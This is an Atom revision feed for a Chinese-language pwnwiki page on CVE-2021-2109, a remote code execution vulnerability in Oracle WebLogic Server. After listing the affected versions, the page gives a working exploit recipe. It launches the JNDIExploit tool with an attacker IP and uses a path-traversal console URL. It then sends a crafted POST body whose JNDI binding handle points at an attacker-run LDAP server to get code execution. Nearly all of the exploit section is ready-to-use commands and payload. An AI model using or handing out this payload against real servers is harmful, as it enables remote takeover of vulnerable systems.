https://pwnwiki.com/index.php?action=history&feed=atom&title=CVE-2021-2109_Weblogic_Server%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E
CVE-2021-2109 Weblogic Server遠程代碼執行漏洞 - Revision history
2026-04-07T04:52:29Z
Revision history for this page on the wiki
MediaWiki 1.35.1
https://pwnwiki.com/index.php?title=CVE-2021-2109_Weblogic_Server%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E&diff=124&oldid=prev
Pwnwiki: 建立內容為「 {| style="margin: auto; width: 750px;" | style="text-align: left; margin: 1em 1em 1em 0; border: 1px solid #20A3C0; padding: .2em;" | {| cellspacing="2px" | val…」的新頁面
2021-03-02T06:32:42Z
<p>建立內容為「 {| style="margin: auto; width: 750px;" | style="text-align: left; margin: 1em 1em 1em 0; border: 1px solid #20A3C0; padding: .2em;" | {| cellspacing="2px" | val…」的新頁面</p>
<p><b>New page</b></p><div><br />
{| style="margin: auto; width: 750px;"<br />
| style="text-align: left; margin: 1em 1em 1em 0; border: 1px solid #20A3C0; padding: .2em;" |<br />
{| cellspacing="2px" <br />
| valign="middle" | [[Image:Book.png|50px]]<br />
| 這個頁面的內容缺少參考，無法保證內容的準確性。<br />
|}<br />
|}<br />
<br><noinclude><br />
<br />
<br />
==影響版本==<br />
Weblogic Server 10.3.6.0.0<br />
<br />
Weblogic Server 12.1.3.0.0<br />
<br />
Weblogic Server 12.2.1.3.0<br />
<br />
Weblogic Server 12.2.1.4.0<br />
<br />
Weblogic Server 14.1.1.0.0<br />
<br />
<br />
==漏洞利用==<br />
下載[https://github.com/feihong-cs/JNDIExploit/releases/tag/v.1.11 LDAP] (LDAP需要Java1.8環境)。<br />
<br />
<pre><br />
java -jar JNDIExploit-v1.11.jar -i 192.168.1.123<br />
</pre><br />
<br />
首頁URL後加入<br />
<pre><br />
/console/css/%252e%252e%252f/consolejndi.portal<br />
</pre><br />
<br />
在Burp中，将get修改爲post，並且構造數據包。<br />
<br />
注：192.168.1;123 有個點修改爲分號。<br />
<br />
<pre><br />
_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(%22ldap://192.168.1;123:1389/Basic/WeblogicEcho;AdminServer%22)<br />
</pre></div>
Pwnwiki